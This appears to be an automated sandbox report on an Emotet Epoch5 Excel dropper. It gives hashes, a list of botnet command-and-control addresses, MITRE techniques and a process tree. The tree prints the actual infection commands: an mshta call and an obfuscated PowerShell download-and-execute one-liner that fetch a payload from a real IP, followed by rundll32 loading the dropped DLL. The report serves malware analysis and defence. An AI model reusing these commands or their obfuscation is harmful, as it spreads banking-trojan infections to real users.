emotet | 6129fb2a3bf0b02b7b414b007bd22968c94213e06beeba1dc6eff0e03d4f1e5e

Analysis

max time kernel
119s
max time network
150s
platform
windows10_x64
resource
win10-en-20211208
submitted
27/01/2022, 15:33

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General

Target
tmp6rvhbxha.xls
Size 155KB
Sample220127-sy682afed9
SHA256 6129fb2a3bf0b02b7b414b007bd22968c94213e06beeba1dc6eff0e03d4f1e5e
MD5 d41eff990a0b7f83a7ce9c3e48add2e9
SHA1 baa322b761ecdf31d008ff5df2337e0b08c17c78
SHA512 7e977bf5588eba119e446cdb793c4083ace223863699d93031d44d995b74995f59ee985773a71b2409edff92bdce19159eed0a04f59bb00e9a7cdffbf7b088eb
MD5 SHA1 SHA512

Score

10^/10

emotet epoch5 banker trojan

Malware Config

Extracted

Language

Source

URLs

hta.dropper
http://91.240.118.168/qqqw/aaas/se.html

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://91.240.118.168/qqqw/aaas/se.png

Extracted

Family

emotet

Botnet

Epoch5

159.69.43.124:8080
45.79.80.198:443
207.148.81.119:8080
128.199.192.135:8080
118.98.72.86:443
217.182.143.207:443
168.197.250.14:80
116.124.128.206:8080
78.46.73.125:443
185.148.168.15:8080
195.154.146.35:443
85.214.67.203:8080
194.9.172.107:8080
59.148.253.194:443
210.57.209.142:8080
54.38.242.185:443
195.77.239.39:8080
159.69.237.188:443
104.131.62.48:8080
62.171.178.147:8080
142.4.219.173:8080
66.42.57.149:443
78.47.204.80:443
190.90.233.66:443
54.37.228.122:443
185.168.130.138:443
191.252.103.16:80
37.59.209.141:8080
185.148.168.220:8080
37.44.244.177:8080
203.153.216.46:443
45.13.132.26:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1484	3540	cmd.exe	68

Blocklisted process makes network request 6 IoCs

flow	pid	Process
41	3156	mshta.exe
45	3828	powershell.exe
49	3828	powershell.exe
50	3828	powershell.exe
53	1244	rundll32.exe
56	1244	rundll32.exe

Downloads MZ/PE file

Loads dropped DLL 2 IoCs

pid	Process
868	rundll32.exe
3648	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Oqogcbvdpfpwui\owftftnhzlq.fuc	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3312	3156	WerFault.exe	74

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3540	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
3828	powershell.exe
3828	powershell.exe
3312	WerFault.exe
3312	WerFault.exe
3312	WerFault.exe
3312	WerFault.exe
3312	WerFault.exe
3312	WerFault.exe
3312	WerFault.exe
3312	WerFault.exe
3312	WerFault.exe
3312	WerFault.exe
3312	WerFault.exe
3312	WerFault.exe
3312	WerFault.exe
3312	WerFault.exe
3828	powershell.exe
1244	rundll32.exe
1244	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3828	powershell.exe
Token: SeDebugPrivilege	3312	WerFault.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3540	EXCEL.EXE
3540	EXCEL.EXE
3540	EXCEL.EXE
3540	EXCEL.EXE
3540	EXCEL.EXE
3540	EXCEL.EXE
3540	EXCEL.EXE
3540	EXCEL.EXE
3540	EXCEL.EXE
3540	EXCEL.EXE
3540	EXCEL.EXE
3540	EXCEL.EXE
3540	EXCEL.EXE

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 3540 wrote to memory of 1484	3540	EXCEL.EXE	72
PID 3540 wrote to memory of 1484	3540	EXCEL.EXE	72
PID 1484 wrote to memory of 3156	1484	cmd.exe	74
PID 1484 wrote to memory of 3156	1484	cmd.exe	74
PID 3156 wrote to memory of 3828	3156	mshta.exe	76
PID 3156 wrote to memory of 3828	3156	mshta.exe	76
PID 3828 wrote to memory of 580	3828	powershell.exe	79
PID 3828 wrote to memory of 580	3828	powershell.exe	79
PID 580 wrote to memory of 868	580	cmd.exe	80
PID 580 wrote to memory of 868	580	cmd.exe	80
PID 580 wrote to memory of 868	580	cmd.exe	80
PID 868 wrote to memory of 3648	868	rundll32.exe	81
PID 868 wrote to memory of 3648	868	rundll32.exe	81
PID 868 wrote to memory of 3648	868	rundll32.exe	81
PID 3648 wrote to memory of 1660	3648	rundll32.exe	82
PID 3648 wrote to memory of 1660	3648	rundll32.exe	82
PID 3648 wrote to memory of 1660	3648	rundll32.exe	82
PID 1660 wrote to memory of 1244	1660	rundll32.exe	84
PID 1660 wrote to memory of 1244	1660	rundll32.exe	84
PID 1660 wrote to memory of 1244	1660	rundll32.exe	84

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmp6rvhbxha.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3540
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c mshta http://91.240.118.168/qqqw/aaas/se.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:1484
- - C:\Windows\system32\mshta.exe
    mshta http://91.240.118.168/qqqw/aaas/se.html
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:3156
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({HgfRrtGdf}{HgfRrtGdf}Ne{HgfRrtGdf}{HgfRrtGdf}w{HgfRrtGdf}-Obj{HgfRrtGdf}ec{HgfRrtGdf}{HgfRrtGdf}t N{HgfRrtGdf}{HgfRrtGdf}et{HgfRrtGdf}.W{HgfRrtGdf}{HgfRrtGdf}e'.replace('{HgfRrtGdf}', ''); $c4='bC{HgfRrtGdf}li{HgfRrtGdf}{HgfRrtGdf}en{HgfRrtGdf}{HgfRrtGdf}t).D{HgfRrtGdf}{HgfRrtGdf}ow{HgfRrtGdf}{HgfRrtGdf}nl{HgfRrtGdf}{HgfRrtGdf}{HgfRrtGdf}o'.replace('{HgfRrtGdf}', ''); $c3='ad{HgfRrtGdf}{HgfRrtGdf}St{HgfRrtGdf}rin{HgfRrtGdf}{HgfRrtGdf}g{HgfRrtGdf}(''ht{HgfRrtGdf}tp{HgfRrtGdf}://91.240.118.168/qqqw/aaas/se.png'')'.replace('{HgfRrtGdf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3828
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,AADD
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:580
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,AADD
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:868
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
        7⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:3648
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Oqogcbvdpfpwui\owftftnhzlq.fuc",wCchSlokygqJKh
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:1660
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Oqogcbvdpfpwui\owftftnhzlq.fuc",DllRegisterServer
        9⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:1244
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 3156 -s 1648
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3312

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/868-601-0x00000000044A1000-0x00000000044C4000-memory.dmp

Download

memory/1244-631-0x0000000005790000-0x00000000057B7000-memory.dmp

Download

memory/1244-620-0x00000000037B0000-0x00000000037D7000-memory.dmp

Download

memory/1244-623-0x00000000053F0000-0x0000000005417000-memory.dmp

Download

memory/1244-625-0x00000000054D0000-0x00000000054F7000-memory.dmp

Download

memory/1244-627-0x00000000055B0000-0x00000000055D7000-memory.dmp

Download

memory/1244-629-0x00000000056A0000-0x00000000056C7000-memory.dmp

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memory/1244-640-0x0000000005880000-0x00000000058A7000-memory.dmp

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memory/1660-617-0x0000000004B90000-0x0000000004BB7000-memory.dmp

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memory/3540-128-0x00007FF89A3C0000-0x00007FF89A3D0000-memory.dmp

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memory/3540-661-0x00007FF89DB10000-0x00007FF89DB20000-memory.dmp

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memory/3540-662-0x00007FF89DB10000-0x00007FF89DB20000-memory.dmp

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memory/3540-663-0x00007FF89DB10000-0x00007FF89DB20000-memory.dmp

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memory/3540-664-0x00007FF89DB10000-0x00007FF89DB20000-memory.dmp

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memory/3540-129-0x00007FF89A3C0000-0x00007FF89A3D0000-memory.dmp

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memory/3540-115-0x00007FF89DB10000-0x00007FF89DB20000-memory.dmp

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memory/3540-119-0x00007FF89DB10000-0x00007FF89DB20000-memory.dmp

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memory/3540-118-0x00007FF89DB10000-0x00007FF89DB20000-memory.dmp

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memory/3540-117-0x00007FF89DB10000-0x00007FF89DB20000-memory.dmp

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memory/3540-116-0x00007FF89DB10000-0x00007FF89DB20000-memory.dmp

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memory/3648-606-0x0000000000E90000-0x0000000000EB7000-memory.dmp

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memory/3648-618-0x0000000004A60000-0x0000000004A87000-memory.dmp

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memory/3648-615-0x00000000048D0000-0x00000000048F7000-memory.dmp

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memory/3648-613-0x0000000004870000-0x0000000004897000-memory.dmp

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memory/3648-611-0x0000000004810000-0x0000000004837000-memory.dmp

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memory/3648-608-0x0000000000FD0000-0x0000000000FF7000-memory.dmp

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memory/3648-604-0x0000000000CE0000-0x0000000000D07000-memory.dmp

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memory/3828-375-0x000001F463B76000-0x000001F463B78000-memory.dmp

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memory/3828-340-0x000001F47C350000-0x000001F47C3C6000-memory.dmp

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memory/3828-307-0x000001F47C290000-0x000001F47C2CC000-memory.dmp

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memory/3828-283-0x000001F47BCE0000-0x000001F47BD02000-memory.dmp

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memory/3828-282-0x000001F463B73000-0x000001F463B75000-memory.dmp

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memory/3828-281-0x000001F463B70000-0x000001F463B72000-memory.dmp

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